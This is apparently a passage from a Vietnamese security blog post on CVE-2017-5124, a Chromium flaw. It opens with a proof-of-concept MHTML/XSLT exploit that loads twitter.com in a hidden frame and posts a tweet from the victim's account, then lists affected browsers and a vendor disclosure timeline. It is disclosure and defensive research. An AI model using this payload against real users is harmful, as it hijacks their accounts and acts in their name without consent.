<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----

Tôi có thực hiện một vài kịch bản tấn công với 2 trình duyệt Cốc Cốc ( bản 66 ) và SamSung Internet.

Demo với Cốc Cốc 66:

Những trình duyệt bị ảnh hưởng bởi CVE-2017-5124

Tôi khẳng định: Tất cả các trình duyệt sử dụng nhân của Chromium (phiên bản nhỏ hơn 62) đều bị ảnh hưởng. Điểm qua một số trình duyệt đang thịnh hành ở Việt Nam, chúng ta có thể kể đến Cốc Cốc (coccoc.vn), phiên bản 66.4.134 đang dùng nhân Chromium 60.4.3112.134). Ngoài ra một số trình duyệt trên các dòng điện thoại SamSung do hãng sản xuất tự thêm vào đều có thể mắc phải lỗi này. Cá nhân tôi cho rẳng, để an toàn, chúng ta có thể tạm thời ngưng sử dụng trình duyệt có lỗi cho đến khi chúng có bản vá đầy đủ.

Timeline thông báo lỗi tới các bên liên quan

Trình duyệt Cốc Cốc

• 05/12/2017: Thông báo cho công ty Cốc Cốc.
• 06/12/2017: Công ty Cốc Cốc khẳng định sẽ release bản sửa lỗi khi cập nhật tới phiên bản 68.
• 17/12/2017: Kiểm tra trình duyệt Cốc Cốc 68 và lỗi đã fix xong. Hiện tại, bản mới nhất của Cốc Cốc đã sửa lỗi này. Nếu bạn dùng Cốc Cốc, hãy tải bản mới nhất.

Trình duyệt SamSung Internet Browser 6.2.01.12

• 03/12/2017: Thông báo cho Công ty SamSung
• 04/12/2017: SamSung thông báo đã tiếp nhận vấn đề
• 08/12/2017: SamSung cho rằng issue này thuộc về Google Chrome và đã fix và đóng issue.

Theo thử nghiệm của tôi, trình duyệt SamSung Internet Browser 6.2.01.12 bị lỗ hổng nghiêm trọng này. Nếu máy điện thoại của bạn chưa cập nhật lên bản mới hơn, hãy tạm dừng sử dụng nó cho đến khi có bản mới. Demo với SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM